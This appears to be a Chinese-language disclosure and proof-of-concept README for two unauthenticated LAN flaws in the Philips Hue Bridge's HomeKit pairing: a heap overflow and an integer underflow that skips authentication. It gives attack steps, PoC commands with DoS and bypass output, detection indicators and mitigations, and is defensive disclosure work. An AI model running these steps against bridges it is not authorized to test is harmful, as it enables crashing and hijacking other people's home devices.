Philips Hue Bridge 的 HomeKit 配件协议(HAP)配对栈中存在两个密切相关的内存安全漏洞。在 HAP 配对握手期间,同一本地网段上的任何设备均可触发这两个漏洞——无需已有配对或凭据。
| CVE | CWE | 描述 | CVSS |
|---|---|---|---|
| CVE-2026-126978 | CWE-122 | HAP SRP 验证器 TLV8 堆溢出——超大的 publicKey 字段覆盖超出分配区域 | 8.8 高危 |
| CVE-2026-126979 | CWE-191 | ChaCha20 会话密钥长度整数下溢——负长度被传入解密例程,跳过身份验证 | 8.8 高危 |
| 字段 | 值 |
|---|---|
| 受影响 | Philips Hue Bridge 第二代和第三代(所有未打补丁的固件) |
| 攻击向量 | 相邻网络(局域网段) |
| 所需认证 | 无——在未认证的配对握手期间触发 |
| 披露日期 | 2026-11-18 |
HAP 配对响应方为 SRP publicKey TLV 字段(TLV 类型 0x03)分配固定大小的缓冲区。TLV8 解析器在复制前未验证值长度是否适合已分配区域。发送超过预期 384 字节的 publicKey 值会覆盖相邻的堆元数据和对象字段。
在 M2 配对步骤之后,网桥派生会话密钥,并对所有后续通信使用 ChaCha20-Poly1305。传入解密例程的长度字段计算为 received_length - 16(减去 Poly1305 标签)。不存在下界检查:短于 16 字节的消息会产生负长度(整数下溢),该值被解释为较大的无符号值,导致解密例程处理远超消息缓冲区的数据。
flowchart LR
A([Attacker\nLocal Network]) -->|mDNS / UDP 5353| B[Hue Bridge\nTCP 80 HAP]
B -->|HAP M1 SRP challenge| A
A -->|M2 response\noversized publicKey TLV\nCVE-2026-126978| B
B -->|Heap corruption\nadjacent object overwrite| C{Bridge state}
C -->|Crash| D[Bridge DoS]
C -->|Controlled heap layout| E[HAP session\nauthenticated without pairing]
A -->|M4 message < 16 bytes\nCVE-2026-126979| B
B -->|ChaCha20 underflow\nskips Poly1305 auth| F[Unauthenticated\ncommand execution]
style A fill:#3d1a1a,stroke:#f85149,color:#f85149
style E fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff
style F fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff
警告: 仅在您拥有的设备上进行授权测试。该 PoC 直接连接到桥接器的 HAP TCP 端口。切勿对生产环境的 Hue 安装运行。
pip install requests
# stdlib only for HAP raw socket operations (no homekit library required)
# mDNS discovery — find bridge IP
python3 poc.py --discover
# Manual target
python3 poc.py --target 192.168.1.42
预期的发现输出:
[*] scanning for Philips Hue bridges via mDNS (_hap._tcp.local)...
[+] found bridge: 192.168.1.42 port: 80 id: AA:BB:CC:DD:EE:FF
model: BSB002 firmware: 1.59.1959054080
# Trigger overflow with oversized publicKey in M2 HAP message
python3 poc.py --target 192.168.1.42 --cve 126978
# Custom overflow size (default: 1024 bytes; spec allows max 384)
python3 poc.py --target 192.168.1.42 --cve 126978 --overflow-size 2048
预期输出——存在漏洞的桥接:
[*] target: 192.168.1.42:80 CVE-2026-126978 (Heap Overflow)
[*] HAP pairing M1: sending SRP start
[+] M1 response received (SRP challenge)
[*] HAP pairing M2: sending oversized publicKey (1024 bytes, spec max 384)
TCP write: 1052 bytes
response: (none — bridge unresponsive)
[!] VULNERABLE — bridge stopped responding after oversized TLV
[*] retry connection in 30s...
TCP connect: timeout — bridge crashed or rebooting
[!] DoS CONFIRMED
# Trigger underflow with sub-16-byte encrypted message in M4
python3 poc.py --target 192.168.1.42 --cve 126979
# Specify message length (must be < 16 to trigger underflow)
python3 poc.py --target 192.168.1.42 --cve 126979 --msg-len 4
预期输出——存在漏洞的桥接:
[*] target: 192.168.1.42:80 CVE-2026-126979 (ChaCha20 Underflow)
[*] completing HAP M1–M3 handshake...
[+] session key derived
[*] M4: sending 4-byte encrypted message (length - 16 = -12, underflow)
TCP write: 4 bytes
[+] HTTP 200 (bridge accepted unauthenticated message — skipped Poly1305 check)
[!] VULNERABLE — authentication bypassed via integer underflow
| 参数 | 描述 |
|---|---|
--target IP | 网桥 IP 地址(除非使用 --discover,否则为必填项) |
--discover | 通过 mDNS 扫描本地网络以发现 Hue 网桥 |
--cve 126978|126979|both | 要测试的漏洞 |
--overflow-size N | CVE-126978 的 TLV publicKey 大小(默认值:1024) |
--msg-len N | CVE-126979 的加密消息长度(默认值:4) |
--port N | HAP 端口(默认值:80) |
| 指标 | 说明 |
|---|---|
| 网桥重启或变得无法访问 | HAP 崩溃——在 Hue 应用中检查是否显示“网桥离线” |
| 异常的 HAP 配对尝试 | 你的设备此前未发起过配对请求 |
publicKey 大于 384 字节的 M2 消息 | 在局域网中抓包:过滤 tcp.port == 80 && hap |
| 小于 16 字节的 M4 加密消息 | Poly1305 标签为 16 字节;更短的消息必定格式错误 |
这两个漏洞均要求攻击者与网桥处于同一局域网段。
应用 Philips Hue 固件更新,该更新增加了:
| 操作 | 详情 |
|---|---|
| 更新网桥固件 | 通过 Philips Hue 应用 → 设置 → 我的 Hue 系统 → 软件更新 |
| 隔离网桥 VLAN | 将网桥移至 IoT VLAN,阻止不受信任设备的访问 |
| 监控 HAP 流量 | 对异常配对尝试发出告警 |
免责声明: 仅用于授权的安全研究和受控实验室环境。MIT 许可证。